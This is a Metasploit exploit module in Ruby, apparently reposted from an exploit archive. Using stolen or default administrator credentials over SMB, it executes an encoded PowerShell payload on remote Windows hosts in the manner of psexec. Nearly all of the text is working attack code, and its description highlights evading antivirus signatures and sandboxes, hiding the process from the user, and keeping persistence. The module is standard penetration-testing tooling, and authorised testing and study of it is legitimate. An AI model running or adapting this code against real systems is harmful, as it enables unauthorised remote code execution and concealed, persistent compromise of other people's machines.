Microsoft Windows Authenticated Powershell Command Execution

`# -*- coding: binary -*-  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'msf/core/exploit/powershell'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
# Exploit mixins should be called first  
include Msf::Exploit::Remote::SMB::Psexec  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',  
'Description' => %q{  
This module uses a valid administrator username and password to execute a powershell  
payload using a similar technique to the "psexec" utility provided by SysInternals. The  
payload is encoded in base64 and executed from the commandline using the -encodedcommand  
flag. Using this method, the payload is never written to disk, and given that each payload  
is unique, is less prone to signature based detection. Since executing shellcode in .NET  
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture  
must match that of the payload. Lastly, a persist option is provided to execute the payload  
in a while loop in order to maintain a form of persistence. In the event of a sandbox  
observing PSH execution, a delay and other obfuscation may be added to avoid detection.  
In order to avoid interactive process notifications for the current user, the psh payload has  
been reduced in size and wrapped in a powershell invocation which hides the process entirely.  
},  
  
'Author' => [  
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module  
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders  
],  
  
'License' => MSF_LICENSE,  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'WfsDelay' => 10,  
'EXITFUNC' => 'thread'  
},  
'Payload' =>  
{  
'Space' => 8192,  
'DisableNops' => true,  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 01 1999',  
'References' => [  
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)  
[ 'OSVDB', '3106'],  
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],  
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],  
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]  
]  
))  
end  
  
def exploit  
command = cmd_psh_payload(payload.encoded)  
  
if datastore['PERSIST'] and not datastore['DisablePayloadHandler']  
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")  
end  
  
if datastore['RUN_WOW64'] and target_arch.first == "x86_64"  
fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")  
end  
  
# Try and authenticate with given credentials  
if connect  
begin  
smb_login  
rescue StandardError => autherror  
disconnect  
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")  
end  
# Execute the powershell command  
print_status("#{peer} - Executing the payload...")  
begin  
return psexec(command)  
rescue StandardError => exec_command_error  
disconnect  
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")  
end  
end  
end  
  
def peer  
return "#{rhost}:#{rport}"  
end  
end  
  
`